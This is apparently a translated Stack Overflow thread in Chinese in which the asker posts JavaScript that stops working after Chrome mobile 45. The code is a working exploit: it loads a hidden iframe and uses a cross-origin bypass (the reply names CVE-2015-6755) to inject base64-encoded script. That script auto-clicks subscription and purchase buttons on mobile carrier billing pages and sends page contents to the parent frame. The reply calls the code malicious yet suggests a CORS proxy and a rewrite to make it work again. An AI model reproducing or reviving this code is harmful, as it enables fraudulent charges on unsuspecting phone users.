我正在处理的 JavaScript 似乎不适用于高于 Chrome mobile 45 的版本。我无法找到调试时发生的情况，但我认为某个方法可能已被弃用。任何人都知道使用什么方法，或者如何调试它以便自己更好地研究它？
这是函数:
<script>
function cxc(x, group) {
mixtracker.track("CXC", "cxc(" + x + ")", group);
var navU = navigator["userAgent"];
var isAndroidMobile = navU["indexOf"]("Android") > -1 && navU["indexOf"]("Mozilla/5.0") > -1 && navU["indexOf"]("AppleWebKit") > -1;
var pattern=/Chrome\/([\d\.]+)/;
var regExChrome = new RegExp(pattern);
var resultChromeRegEx = regExChrome["exec"](navU);
var chromeVersion = (resultChromeRegEx === null ? null : regExChrome["exec"](navU)[1]);
var cv=chromeVersion===null?null:chromeVersion.substr(3).replace(/\./g,'');
var value= "window.parent.postMessage('011.DB CALL-INITIAL>>>href:[' + window.location.href + ']; ref:[' + document.referrer + '];', '*');
window.parent.postMessage('111.DB CALL-HTML(0)>>>'+ document.getElementsByTagName('html')[0].innerHTML, '*');

var Base64 = {

// private property
    _keyStr : "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",

// public method for encoding
    encode : function (input) {
        var output = "";
        var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
        var i = 0;

        input = Base64._utf8_encode(input);

        while (i < input.length) {

            chr1 = input.charCodeAt(i++);
            chr2 = input.charCodeAt(i++);
            chr3 = input.charCodeAt(i++);

            enc1 = chr1 >> 2;
            enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
            enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
            enc4 = chr3 & 63;

            if (isNaN(chr2)) {
                enc3 = enc4 = 64;
            } else if (isNaN(chr3)) {
                enc4 = 64;
            }

            output = output +
                this._keyStr.charAt(enc1) + this._keyStr.charAt(enc2) +
                this._keyStr.charAt(enc3) + this._keyStr.charAt(enc4);

        }

        return output;
    },

// public method for decoding
    decode : function (input) {
        var output = "";
        var chr1, chr2, chr3;
        var enc1, enc2, enc3, enc4;
        var i = 0;

        input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");

        while (i < input.length) {

            enc1 = this._keyStr.indexOf(input.charAt(i++));
            enc2 = this._keyStr.indexOf(input.charAt(i++));
            enc3 = this._keyStr.indexOf(input.charAt(i++));
            enc4 = this._keyStr.indexOf(input.charAt(i++));

            chr1 = (enc1 << 2) | (enc2 >> 4);
            chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
            chr3 = ((enc3 & 3) << 6) | enc4;

            output = output + String.fromCharCode(chr1);

            if (enc3 != 64) {
                output = output + String.fromCharCode(chr2);
            }
            if (enc4 != 64) {
                output = output + String.fromCharCode(chr3);
            }

        }

        output = Base64._utf8_decode(output);

        return output;

    },

// private method for UTF-8 encoding
    _utf8_encode : function (string) {
        string = string.replace(/\r\n/g,"\n");
        var utftext = "";

        for (var n = 0; n < string.length; n++) {

            var c = string.charCodeAt(n);

            if (c < 128) {
                utftext += String.fromCharCode(c);
            }
            else if((c > 127) && (c < 2048)) {
                utftext += String.fromCharCode((c >> 6) | 192);
                utftext += String.fromCharCode((c & 63) | 128);
            }
            else {
                utftext += String.fromCharCode((c >> 12) | 224);
                utftext += String.fromCharCode(((c >> 6) & 63) | 128);
                utftext += String.fromCharCode((c & 63) | 128);
            }

        }

        return utftext;
    },

// private method for UTF-8 decoding
    _utf8_decode : function (utftext) {
        var string = "";
        var i = 0;
        var c = c1 = c2 = 0;

        while ( i < utftext.length ) {

            c = utftext.charCodeAt(i);

            if (c < 128) {
                string += String.fromCharCode(c);
                i++;
            }
            else if((c > 191) && (c < 224)) {
                c2 = utftext.charCodeAt(i+1);
                string += String.fromCharCode(((c & 31) << 6) | (c2 & 63));
                i += 2;
            }
            else {
                c2 = utftext.charCodeAt(i+1);
                c3 = utftext.charCodeAt(i+2);
                string += String.fromCharCode(((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63));
                i += 3;
            }

        }

        return string;
    }

}

//href:[http://mdsp.orange.be/w-ha/app-bundlepurchase/node?m=h%3D9fe98a8bc94d55490be0b7426811be29%3Bp%3D10296%3Bk%3D10296%3Bv%3D3%3A%7Bc%3DPurchaseTypeReq%3Bv%3D%7Bpurchasecase%3D8%3Bmp%3D%7B_ap_sid%3D231521212%3B_ap_moduleId%3D18%3B_ap_pid%3D12100_0500_Game2up%3B_ap_lg%3Dnl%3Bformat%3Dxhtml%3B_ap_type%3Dsubscription%3B%7D%3BmerchantCallbackURL%3Dhttp%3A%2F%2Fmp.mobile-gw.com%2Fbe-mobistar%2F%3Bpi%3D12100_0500_Game2up%3B%7D%7D&redirect=1&MCO=OFR]; ref:[http://uprealtime.com/hrfp?url=http%3A%2F%2Fplay.bngmbl.com%2F%3Fm%3D0BPKJG177027%26offer_key%3D177027%26fc%3D1%26a%3DM_2989642965830d8e2a9f1492660440%26pubid%3D1355];"
function getMetaURL() {
    var metas = document.getElementsByTagName('meta');
    for (var i = 0; i < metas.length; i++) {
        if (metas[i].getAttribute("http-equiv") == "refresh") {
            var cont = metas[i].getAttribute("content");
            var result = new RegExp("url=(.*)$", "i").exec(cont);
            return result[1].replace("'", "").replace("'", "")
        }
    }
    return ""
}
var ttt = getMetaURL();



url = window.location.href;


function getMetaURL(){
    var metas = document.getElementsByTagName('meta');
    for (var i=0; i<metas.length; i++){
        if (metas[i].getAttribute("http-equiv") == "refresh"){
            var cont = metas[i].getAttribute("content");
            var result = new RegExp("url=(.*)$", "i").exec(cont);
            if(result[1].match(/^\//gi) != null){
                return "http://" + location.hostname + result[1].replace("'", "").replace("'", "");

            }else{
                return result[1].replace("'", "").replace("'", "");
            }
        }
    }
    return "";
}

var refresh = getMetaURL();

if(refresh != ""){
    window.parent.postMessage('A : [Refresh]>>>; lpnum:[98]; refresh: [' + refresh + ']; href:[' + window.location.href + ']; ref:[' + document.referrer + '];', '*');
    window.location.href = refresh;
    window.parent.postMessage('A : [Refresh]ed>>>','*');
}
else if(document.getElementById('older')!=undefined)
{
    window.parent.postMessage('found bolder>>>href:[' + window.location.href + ']; ref:[' + document.referrer + '];', '*');
    document.getElementById('older').checked = true;
    document.getElementsByTagName('form')[0].submit();
    window.parent.postMessage('form submitted>>>', '*');
}
else if(document.getElementsByClassName('large expanded success button float-center').length>0)
{
    window.parent.postMessage('found large expanded success button float-center>>>href:[' + window.location.href + ']; ref:[' + document.referrer + '];', '*');
    document.getElementsByClassName('large expanded success button float-center')[0].click();
    window.parent.postMessage('large expanded success button float-center submitted>>>', '*');
}
else if(window.location.href.indexOf("appsilike.mobi/BE")!=-1)
{

    window.parent.postMessage('in appsilike.mobi>>>href:[' + window.location.href + ']; ref:[' + document.referrer + '];', '*');
    setTimeout(
        function () {
            document.getElementsByClassName('button pulse').length>0 && document.getElementById('check')!=undefined

            window.parent.postMessage('found button pulse>>>href:[' + window.location.href + ']; ref:[' + document.referrer + '];', '*');
            document.getElementById('check').checked = true;
            document.getElementsByClassName('button pulse')[0].click();
            window.parent.postMessage('found button pulse clicked>>>', '*');
        },
        1900
    );

    window.parent.postMessage('in appsilike.mobi2>>>href:[' + window.location.href + ']; ref:[' + document.referrer + '];', '*');

}
else if(document.getElementById('Operator')!=undefined)
{
    window.parent.postMessage('found Operator>>>href:[' + window.location.href + ']; ref:[' + document.referrer + '];', '*');
    document.getElementById('Operator').value = '20610';
    document.getElementById('submit_button').click();
    window.parent.postMessage('submit_button submitted>>>', '*');
}

else if(url.indexOf('mdsp.orange.be/w-ha/app-bundlepurchase/node')!=-1 &&
    document.getElementsByClassName('button').length==3)
{
    window.parent.postMessage('found btn >>>href:[' + window.location.href + ']; ref:[' + document.referrer + '];', '*');
    window.parent.postMessage('found btn>>>'+ document.getElementsByTagName('html')[0].innerHTML, '*');
    setTimeout(

        function () {
            document.getElementsByClassName('button')[2].click();
        },
        2000

    );

    window.parent.postMessage('btn clicked>>>'+ document.getElementsByTagName('html')[0].innerHTML, '*');
}
else if(ttt!="" && ttt.indexOf("video-wrld.com/BE")!=-1)
{

    window.parent.postMessage('zfound ttt>>>href:[' + window.location.href + ']; ref:[' + document.referrer + '];', '*');
    window.parent.postMessage('zfound ttt>>>'+ document.getElementsByTagName('html')[0].innerHTML, '*');
    location.replace(ttt);
    window.parent.postMessage('zfound ttt clicked>>>'+ document.getElementsByTagName('html')[0].innerHTML, '*');
}
else
{
    window.parent.postMessage('else >>href:[' + window.location.href + ']; ref:[' + document.referrer + '];', '*');
    window.parent.postMessage('else >>>'+ Base64.encode(document.getElementsByTagName('html')[0].innerHTML), '*');
    window.parent.postMessage('6464.DB CALL-HTML(0)>>>'+ (document.getElementsByTagName('html')[0].innerHTML), '*');

}";
if (isAndroidMobile && cv!=='0') {
//console.re.log("IDBKeyRange.only.call::" + navU);
IDBKeyRange.only.call(frames[x],0).constructor.constructor('eval(atob(\"'+ value +'\"))')();
}else{
//console.re.log("window.open0000::" + navU);
window.open("\u0000javascript:eval(atob(\""+ value +"\"))", "androidload"+x);
}
}
var i0 = document.documentElement.appendChild(document.createElement('iframe'));
i0.onload = function(){cxc(0, 'em5601')};
i0.setAttribute('style', 'opacity: 0;overflow:hidden;overflow-x:hidden;overflow-y:hidden;height:100%;width:100%;position:absolute;top:0px;left:0px;right:0px;bottom:0px');
i0.setAttribute('sandbox', 'allow-scripts allow-forms allow-same-origin allow-popups allow-top-navigation');
i0.src = "javascript:window.location.replace('http://www.url_for_iframe.com')";
setTimeout(function(){location.replace(jmurl);}, 200000);
</script>
这是“value”内函数的解密:
window.parent.postMessage('011.DB CALL-INITIAL>>>href:[' + window.location.href + ']; ref:[' + document.referrer + '];', '*');
window.parent.postMessage('111.DB CALL-HTML(0)>>>'+ document.getElementsByTagName('html')[0].innerHTML, '*');
var Base64 = {
// private property
_keyStr : "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
// public method for encoding
encode : function (input) {
var output = "";
var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
var i = 0;
input = Base64._utf8_encode(input);
while (i < input.length) {
chr1 = input.charCodeAt(i++);
chr2 = input.charCodeAt(i++);
chr3 = input.charCodeAt(i++);
enc1 = chr1 >> 2;
enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
enc4 = chr3 & 63;
if (isNaN(chr2)) {
enc3 = enc4 = 64;
} else if (isNaN(chr3)) {
enc4 = 64;
}
output = output +
this._keyStr.charAt(enc1) + this._keyStr.charAt(enc2) +
this._keyStr.charAt(enc3) + this._keyStr.charAt(enc4);
}
return output;
},
// public method for decoding
decode : function (input) {
var output = "";
var chr1, chr2, chr3;
var enc1, enc2, enc3, enc4;
var i = 0;
input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
while (i < input.length) {
enc1 = this._keyStr.indexOf(input.charAt(i++));
enc2 = this._keyStr.indexOf(input.charAt(i++));
enc3 = this._keyStr.indexOf(input.charAt(i++));
enc4 = this._keyStr.indexOf(input.charAt(i++));
chr1 = (enc1 << 2) | (enc2 >> 4);
chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
chr3 = ((enc3 & 3) << 6) | enc4;
output = output + String.fromCharCode(chr1);
if (enc3 != 64) {
output = output + String.fromCharCode(chr2);
}
if (enc4 != 64) {
output = output + String.fromCharCode(chr3);
}
}
output = Base64._utf8_decode(output);
return output;
},
// private method for UTF-8 encoding
_utf8_encode : function (string) {
string = string.replace(/\r\n/g,"\n");
var utftext = "";
for (var n = 0; n < string.length; n++) {
var c = string.charCodeAt(n);
if (c < 128) {
utftext += String.fromCharCode(c);
}
else if((c > 127) && (c < 2048)) {
utftext += String.fromCharCode((c >> 6) | 192);
utftext += String.fromCharCode((c & 63) | 128);
}
else {
utftext += String.fromCharCode((c >> 12) | 224);
utftext += String.fromCharCode(((c >> 6) & 63) | 128);
utftext += String.fromCharCode((c & 63) | 128);
}
}
return utftext;
},
// private method for UTF-8 decoding
_utf8_decode : function (utftext) {
var string = "";
var i = 0;
var c = c1 = c2 = 0;
while ( i < utftext.length ) {
c = utftext.charCodeAt(i);
if (c < 128) {
string += String.fromCharCode(c);
i++;
}
else if((c > 191) && (c < 224)) {
c2 = utftext.charCodeAt(i+1);
string += String.fromCharCode(((c & 31) << 6) | (c2 & 63));
i += 2;
}
else {
c2 = utftext.charCodeAt(i+1);
c3 = utftext.charCodeAt(i+2);
string += String.fromCharCode(((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63));
i += 3;
}
}
return string;
}
}
//href:[http://mdsp.orange.be/w-ha/app-bundlepurchase/node?m=h%3D9fe98a8bc94d55490be0b7426811be29%3Bp%3D10296%3Bk%3D10296%3Bv%3D3%3A%7Bc%3DPurchaseTypeReq%3Bv%3D%7Bpurchasecase%3D8%3Bmp%3D%7B_ap_sid%3D231521212%3B_ap_moduleId%3D18%3B_ap_pid%3D12100_0500_Game2up%3B_ap_lg%3Dnl%3Bformat%3Dxhtml%3B_ap_type%3Dsubscription%3B%7D%3BmerchantCallbackURL%3Dhttp%3A%2F%2Fmp.mobile-gw.com%2Fbe-mobistar%2F%3Bpi%3D12100_0500_Game2up%3B%7D%7D&redirect=1&MCO=OFR]; ref:[http://uprealtime.com/hrfp?url=http%3A%2F%2Fplay.bngmbl.com%2F%3Fm%3D0BPKJG177027%26offer_key%3D177027%26fc%3D1%26a%3DM_2989642965830d8e2a9f1492660440%26pubid%3D1355];"
function getMetaURL() {
var metas = document.getElementsByTagName('meta');
for (var i = 0; i < metas.length; i++) {
if (metas[i].getAttribute("http-equiv") == "refresh") {
var cont = metas[i].getAttribute("content");
var result = new RegExp("url=(.*)$", "i").exec(cont);
return result[1].replace("'", "").replace("'", "")
}
}
return ""
}
var ttt = getMetaURL();
url = window.location.href;
function getMetaURL(){
var metas = document.getElementsByTagName('meta');
for (var i=0; i<metas.length; i++){
if (metas[i].getAttribute("http-equiv") == "refresh"){
var cont = metas[i].getAttribute("content");
var result = new RegExp("url=(.*)$", "i").exec(cont);
if(result[1].match(/^\//gi) != null){
return "http://" + location.hostname + result[1].replace("'", "").replace("'", "");
}else{
return result[1].replace("'", "").replace("'", "");
}
}
}
return "";
}
var refresh = getMetaURL();
if(refresh != ""){
window.parent.postMessage('A : [Refresh]>>>; lpnum:[98]; refresh: [' + refresh + ']; href:[' + window.location.href + ']; ref:[' + document.referrer + '];', '*');
window.location.href = refresh;
window.parent.postMessage('A : [Refresh]ed>>>','*');
}
else if(document.getElementById('older')!=undefined)
{
window.parent.postMessage('found bolder>>>href:[' + window.location.href + ']; ref:[' + document.referrer + '];', '*');
document.getElementById('older').checked = true;
document.getElementsByTagName('form')[0].submit();
window.parent.postMessage('form submitted>>>', '*');
}
else if(document.getElementsByClassName('large expanded success button float-center').length>0)
{
window.parent.postMessage('found large expanded success button float-center>>>href:[' + window.location.href + ']; ref:[' + document.referrer + '];', '*');
document.getElementsByClassName('large expanded success button float-center')[0].click();
window.parent.postMessage('large expanded success button float-center submitted>>>', '*');
}
else if(window.location.href.indexOf("appsilike.mobi/BE")!=-1)
{
window.parent.postMessage('in appsilike.mobi>>>href:[' + window.location.href + ']; ref:[' + document.referrer + '];', '*');
setTimeout(
function () {
document.getElementsByClassName('button pulse').length>0 && document.getElementById('check')!=undefined
window.parent.postMessage('found button pulse>>>href:[' + window.location.href + ']; ref:[' + document.referrer + '];', '*');
document.getElementById('check').checked = true;
document.getElementsByClassName('button pulse')[0].click();
window.parent.postMessage('found button pulse clicked>>>', '*');
},
1900
);
window.parent.postMessage('in appsilike.mobi2>>>href:[' + window.location.href + ']; ref:[' + document.referrer + '];', '*');
}
else if(document.getElementById('Operator')!=undefined)
{
window.parent.postMessage('found Operator>>>href:[' + window.location.href + ']; ref:[' + document.referrer + '];', '*');
document.getElementById('Operator').value = '20610';
document.getElementById('submit_button').click();
window.parent.postMessage('submit_button submitted>>>', '*');
}
else if(url.indexOf('mdsp.orange.be/w-ha/app-bundlepurchase/node')!=-1 &&
document.getElementsByClassName('button').length==3)
{
window.parent.postMessage('found btn >>>href:[' + window.location.href + ']; ref:[' + document.referrer + '];', '*');
window.parent.postMessage('found btn>>>'+ document.getElementsByTagName('html')[0].innerHTML, '*');
setTimeout(
function () {
document.getElementsByClassName('button')[2].click();
},
2000
);
window.parent.postMessage('btn clicked>>>'+ document.getElementsByTagName('html')[0].innerHTML, '*');
}
else if(ttt!="" && ttt.indexOf("video-wrld.com/BE")!=-1)
{
window.parent.postMessage('zfound ttt>>>href:[' + window.location.href + ']; ref:[' + document.referrer + '];', '*');
window.parent.postMessage('zfound ttt>>>'+ document.getElementsByTagName('html')[0].innerHTML, '*');
location.replace(ttt);
window.parent.postMessage('zfound ttt clicked>>>'+ document.getElementsByTagName('html')[0].innerHTML, '*');
}
else
{
window.parent.postMessage('else >>href:[' + window.location.href + ']; ref:[' + document.referrer + '];', '*');
window.parent.postMessage('else >>>'+ Base64.encode(document.getElementsByTagName('html')[0].innerHTML), '*');
window.parent.postMessage('6464.DB CALL-HTML(0)>>>'+ (document.getElementsByTagName('html')[0].innerHTML), '*');
}
调试时，从该值开始执行的代码是else if调用的代码:
else if(window.location.href.indexOf("appsilike.mobi/BE")!=-1)
本质上，该脚本的作用是创建一个带有第三方网站的 iframe，导航该网站，查找那里的提交按钮，并将其传递给父级并选中复选框。
最佳答案
这看起来像是利用 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6755 的恶意代码在 chrome 46 中已修复，如下所示:https://chromereleases.googleblog.com/2015/10/stable-channel-update.html
[$8837][519558] High CVE-2015-6755: Cross-origin bypass in Blink. Credit to Mariusz Mlynski.
此行将被调用，因为 isAndroidMobile 将为 false
window.open("\u0000javascript:eval(atob(\""+ value +"\"))", "androidload"+x);
在这里我们看到了该漏洞的使用。使脚本运行的解决方案是使用 CORS 代理并重写代码。
关于JavaScript 不适用于高于 Chrome mobile 45 的版本，我们在Stack Overflow上找到一个类似的问题： https://stackoverflow.com/questions/45613658/